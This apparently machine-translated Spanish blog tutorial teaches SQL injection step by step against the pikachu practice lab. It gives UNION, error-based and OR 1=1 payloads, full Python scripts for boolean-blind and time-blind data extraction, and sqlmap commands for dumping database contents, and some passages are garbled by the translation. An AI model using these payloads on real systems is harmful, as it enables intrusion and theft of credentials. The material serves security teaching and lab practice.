[Base de datos] Inyección SQL de 0 a 1

Tabla de contenido

Prefacio:

1. [Primeros pasos] Inyección de consulta normal:

1.0 Ambiente experimental:

1.1 Realice una consulta común:

1.2 Inyectar para obtener información del usuario:

1.2.1 Inyección de ejecución:

1.2.2 Análisis de la declaración de inyección:

1.3 La diferencia entre la inyección de enteros y la inyección de caracteres:

2. [Avanzado] Inyección paso a paso de la biblioteca a la columna:

2.1 Conocimientos preliminares:

2.1.1 función de unión:

2.1.2 orden por función:

2.1.3 biblioteca information_schema:

2.2 Inyección real:

2.2.1 Columnas rectangulares:

2.2.2 Verifique el nombre de la base de datos:

2.2.3 Verifique todos los nombres de las tablas en la base de datos:

2.2.4 Busque todos los nombres de las columnas en la tabla:

2.2.5 Consultar la información de la tabla según los campos:

2.2.6 Resumen:

3. Inyección [Avanzada] usando declaraciones de error:

3.1 Funciones relacionadas:

3.1.1 extraervalor()

3.1.2 actualizarxml()

3.2 Inyección en combate real

4. [Avanzado] Ciego booleano:

4.1 ¿Qué es la persiana booleana?

4.2 Ejemplo ciego booleano:

4.3 Guión ciego booleano:

5. [Avanzado] Ciego de tiempo:

5.1 Qué es el tiempo ciego:

5.2 Ejemplo de apuestas a ciegas de tiempo:

5.3 Guión a ciegas del tiempo:

6. [Adicional] Uso de Sqlmap:

6.1 Qué es sqlmap:

6.2 Uso básico:


Prefacio:

  Vulnerabilidad de inyección SQL Una de las 10 principales vulnerabilidades de OWASP se refiere al comportamiento en el que los piratas informáticos insertan declaraciones SQL maliciosas en los parámetros de entrada de las aplicaciones web, lo que provoca que el servidor de la base de datos en segundo plano sea atacado. La razón principal de este tipo de vulnerabilidad es que en la interacción de datos, cuando los datos de front-end se pasan al segundo plano para su procesamiento, no se realiza un juicio estricto, lo que lleva al hecho de que los "datos" entrantes se empalman. en la declaración SQL y se considera como la declaración SQL Ejecución parcial, lo que resulta en daños a la base de datos, fuga de la privacidad del usuario y datos confidenciales

1. [Primeros pasos] Inyección de consulta normal:

1.0 Ambiente experimental:

La tabla utilizada para el experimento es:

Supongamos que la instrucción de consulta en segundo plano es:

select password from users where id='$GET['id']';

La declaración se puede obtener analizando la declaración, que se enviará a la base de datos de acuerdo con la identificación del parámetro  enviada por nuestro método GET para consultar el valor correspondiente a la columna de contraseña en la fila en la columna de identificación igual al parámetro de identificación enviado

1.1 Realice una consulta común:

La declaración es:

select password from users where id='tom';

这里我们提交的id参数为tom,也就是所在表中查询tom的password

El resultado es:

 Obviamente, descubrimos la contraseña de Tom.

1.2 Inyectar para obtener información del usuario:

1.2.1 Inyección de ejecución:

La declaración de inyección es:

select password from users where id='tom' or 1=1;#';

#我们传入的 id 为  tom' or 1=1;#

El resultado es:

Podemos ver que toda la información del usuario está expuesta

1.2.2 Análisis de la declaración de inyección:

El valor de id que pasamos al fondo es:

tom' o 1=1;#

La declaración de consulta formada en segundo plano es:

seleccione la contraseña de los usuarios donde id= ' tom ' o 1=1 ;# ' ;

Las comillas simples rojas son las que vienen con la declaración de consulta, y las comillas simples naranjas son las que pasamos en

  • Puede ver que la primera comilla simple roja está emparejada con la comilla simple que pasamos , mientras que la segunda comilla simple roja está comentada por el signo # que pasamos (el signo # actúa como un comentario en la instrucción sql), Entonces tom está cerrado de antemano por las comillas simples que pasamos, formando la primera condición de consulta
  • o representa un operador lógico, que representa o
  • La segunda condición de consulta es : 1=1 El resultado de esta declaración siempre es verdadero (1 es siempre igual a 1)

Analizando aquí, la declaración de consulta se puede simplificar como:

select password from users where id='tom' or True;

Puede entenderse como id='tom' o verdadero

Es decir, mientras el id tenga un valor existente , la declaración continuará buscando (el id es igual a cualquier valor en la columna y el resultado es True)

1.3 La diferencia entre la inyección de enteros y la inyección de caracteres:

Los ejemplos de inyecciones descritos anteriormente son de tipo de personaje, y las inyecciones de tipo de personaje a menudo aparecen en entornos de combate reales.

La comparación de las dos sentencias de consulta es la siguiente:

select password from users where id='$GET['id']'; #字符型
我们可以看到传入的参数在单引号中,故为字符型,因为字符串要被单引号括住

select password from users where id=$GET['id'];  #整型
我们可以看到传入的参数两边无单引号,故为整型

Cuando se encuentre con la inyección de caracteres, no hay necesidad de construir comillas para cerrar (porque la declaración de fondo no tiene comillas simples) , simplemente comente este último con comillas al final

2. [Avanzado] Inyección paso a paso de la biblioteca a la columna:

   Generalmente existe una inyección de consultas, no solo podemos consultar todo el mismo tipo de información, sino también consultar la versión, el nombre y todas las tablas e información de campos de la base de datos.

2.1 Conocimientos preliminares:

2.1.1 función de unión:

Realice una operación de unión en las dos declaraciones de selección antes y después , excluyendo las filas duplicadas, y ordene las reglas predeterminadas al mismo tiempo; se requiere que el número de campos que consultarán las dos declaraciones de selección antes y después sea el mismo , nosotros puede personalizar una declaración de selección de acuerdo con esta función para consultarnos la información deseada

2.1.2 orden por función:

A esta función le sigue un número, que hace referencia a agrupar, ordenar, etc., según las columnas consultadas después de seleccionar, 1 representa la primera columna, 2 representa la segunda columna, etc., si el número que ingresamos es mayor que el uno consultado después de seleccionar el número de columnas, luego devolverá un error, por lo que podemos determinar el número de campos consultados por la declaración de selección anterior cambiando constantemente el número detrás

2.1.3 biblioteca information_schema:

Esta es la base de datos de información que viene con MySQL, que se utiliza para almacenar metadatos de la base de datos (datos sobre la base de datos), como el nombre de la base de datos, el nombre de la tabla, el tipo de datos de la columna, los derechos de acceso, etc. Podemos encontrar todas las tablas de la base de datos en la tabla information_schema.tables

 El índice es el siguiente

2.2 Inyección real:

Aquí tomamos el campo de tiro de pikachu como ejemplo.

2.2.1 Columnas rectangulares:

xx' order by 2#

2不报错,3报错,说明后台查询字段数为2,我们拼凑的查询语句字段数也应为2

El resultado es:

2.2.2 Verifique el nombre de la base de datos:

xx' union select database(),1# 

database()为MySQL的一个环境变量,代表当前数据库

1是用来凑数的,因为前面的select语句为2个字段

El resultado es:

 

2.2.3 Verifique todos los nombres de las tablas en la base de datos:

  • Aquí se utiliza la tabla de tablas de la biblioteca information_schema , que contiene información sobre todas las tablas de la base de datos.
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#

  El resultado es:

2.2.4 Busque todos los nombres de las columnas en la tabla:

  • Aquí se utiliza la tabla de columnas de la biblioteca information_schema , que contiene la información de todas las columnas de la tabla.
1' union select 1,column_name from information_schema.columns where table_name= "users"#

El resultado es: 

 

2.2.5 Consultar la información de la tabla según los campos :

xx' union select username,password from users#

 El resultado es: 

 

2.2.6 Resumen:

  • Primero revelamos el nombre de la base de datos actual, luego revelamos los nombres de todas las tablas en la base de datos, y seleccionamos la tabla de usuarios, revelamos los nombres de las columnas más grandes y finalmente consultamos la información de la columna de nombre de usuario y contraseña a través de la unión.

3. Inyección [Avanzada] usando declaraciones de error:

En algunos entornos, no solo podemos inyectar a través de la declaración de selección, sino también inyectar a través de la declaración de error y usar la declaración de error para mostrar los datos.

3.1 Funciones relacionadas:

3.1.1 extraervalor()

El formato es:

extractvalue(xml_document,XPath_string)

xml_document: una cadena que contiene el documento XML

XPath_string: una expresión XPath utilizada para localizar el valor que se va a extraer

  • Si la ruta del archivo xml correspondiente a la información del parámetro no existe, se devolverá la ruta incorrecta en forma de informe de error.Podemos convertir el parámetro de ruta en una declaración de consulta , de modo que el resultado de la declaración de consulta se devuelva en la forma de un informe de error. 

3.1.2 actualizarxml()

El formato es:

El formato es
updatexml(xml_document, XPath_string, new_value)
xml_document: una cadena que contiene un documento XML,
XPath_string: una expresión XPath utilizada para ubicar el nodo que se modificará
new_value: el nuevo valor que se reemplazará.

  • La naturaleza de esta función es la misma que la anterior, si la ruta es incorrecta, se informará un error y el método de utilización es el mismo que el anterior.

3.2 Inyección en combate real

También tome el campo de tiro de pikachu como ejemplo.

carga útil:

xx' and updatexml(1,datebase(),0)#

 Podemos ver que aparece el nombre de la base de datos (  esto es solo para consultar el nombre de la base de datos como ejemplo, los pasos son similares a los anteriores, simplemente reemplace el parámetro XPath_string con la instrucción de consulta correspondiente )

4. [Avanzado] Ciego booleano:

4.1 ¿Qué es la persiana booleana?

La inyección ciega booleana es una técnica de inyección SQL basada en el juicio lógico de verdadero y falso . El atacante construye algunas expresiones booleanas y juzga si la inyección es exitosa de acuerdo con las diferentes respuestas que se muestran en la página.

4.2 Ejemplo ciego booleano:

Por ejemplo, nivel de pikachu: cuando la información de entrada no existe, se devolverá la misma oración

Podemos juzgar si la inyección es verdadera o falsa a través de la información devuelta.

4.3 Guión ciego booleano:

  • El principio de la secuencia de comandos es usar el operador lógico y para conectar la consulta para que sea verdadera, y el nombre de la biblioteca y el nombre de la tabla que explotamos uno por uno de acuerdo con la tabla ASCII. Solo cuando todos sean verdaderos , la consulta será exitosa. se devolverá la bandera (inyección manual Casi imposible, consume demasiado tiempo, use scripts en la mayoría de los casos)
//该脚本只能爆出数据库名,爆其他信息手动更改payload即可

import requests
url="xxxx/?id="
flag=''

for i in range(1,10):
    print(i)
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="1' and ascii(substr(database(),%d,1))>%d--+"%(i,mid)
        r=requests.get(url=url+payload)
        if "You are in" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        if(mid==32):
            break
    flag=flag+chr(mid)
    print(flag)

5. [Avanzado] Ciego de tiempo:

5.1 Qué es el tiempo ciego:

La inyección de tiempo ciego es una técnica de ataque de inyección SQL basada en el tiempo . En algunos casos, la página solo devolverá un resultado, y es imposible juzgar si la inyección es exitosa de manera normal.En este momento, el atacante puede usar funciones de retraso como y para agregar comandos para esperar un cierto período de tiempo sleep()en benchmark()la instrucción SQL, de acuerdo con El tiempo de respuesta de la página para determinar si la condición es correcta

5.2 Ejemplo de apuestas a ciegas de tiempo:

Por ejemplo, el nivel de pikachu: Cuando ingresamos un nombre de usuario que no existe, solo devolverá la misma oración

 Independientemente de si los datos que pasamos existen o no, el resultado devuelto es el mismo, por lo que debemos juzgar si la inyección es correcta o incorrecta según el tiempo de respuesta.

5.3 Guión a ciegas del tiempo:

  •  Se puede usar modificando la URL y la carga útil de acuerdo con la escena real. El principio del script es similar al script de inyección ciega booleana.
该脚本只能爆出数据库名,爆其他信息手动更改payload即可

import time
import requests
flag=""
session=requests.Session()
url="xxx/?id="

for i in range(1,100):
    print(i)
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload = "1' and if(ascii(substr(database(),%d,1))>%d,sleep(1),1)--+"%(i,mid)
        stat_time = time.time()
        r = session.get(url=url+payload)
        end_time = time.time()
        t = end_time - stat_time
        if t > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high)//2
        if mid==32:
            break
    flag=flag+chr(mid)
    print(flag)

6. [Adicional] Uso de Sqlmap:

6.1 Qué es sqlmap:

  sqlmapEs una herramienta de inyección SQL automatizada de código abierto que se puede utilizar para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web y obtener información confidencial de las bases de datos. La herramienta admite varios tipos de bases de datos (como MySQL, Oracle, PostgreSQL, etc.) y sistemas operativos (como Windows, Linux, etc.) enlace de descarga del sitio web oficial

6.2 Uso básico:

sqlmap -u  "http://www.xx.com?id=x"    查询是否存在注入点

         --dbs        检测站点包含哪些数据库

         --current-db       获取当前的数据库名

         --tables -D  "db_name"  获取指定数据库中的表名
         --columns  -T  "table_name"  -D  "db_name"     获取数据库表中的字段

         --dump -C  "columns_name"  -T "table_name"  -D  "db_name"     获取指定列的数据内容

Supongo que te gusta

Origin blog.csdn.net/Elite__zhb/article/details/130436909
Recomendado
Clasificación